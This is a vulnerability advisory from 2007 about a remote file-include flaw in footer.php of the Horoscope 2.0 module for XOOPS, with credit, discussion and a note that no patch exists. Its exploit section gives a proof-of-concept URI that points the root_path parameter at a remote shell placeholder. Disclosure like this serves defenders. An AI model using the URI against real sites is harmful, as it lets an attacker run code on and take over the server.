Xoops Horoscope Module Footer.PHP Remote File Include Vulnerability

TITLE: Xoops Horoscope Module Footer.PHP Remote File Include Vulnerability
CLASS: Input Validation Error
CVE:
REMOTE: Yes
LOCAL: No
PUBLISHED: Jun 12 2007 12:00AM
UPDATE: Jun 13 2007 07:09PM
CREDIT: BeyazKurt is credited with the discovery of this vulnerability.
VULNERABLE:

Horoscope Horoscope 2.0
NOT VULNERABLE:

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Discussion

Horoscope for XOOPS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Horoscope 2.0 is vulnerable; other versions may also be affected.

Exploit

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/modules/horoscope/footer.php?xoopsConfig[root_path]=[shell]

Solution

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:vuldb@securityfocus.com.

References

References:

PhpLog

BNLug Benevento Linux Users Group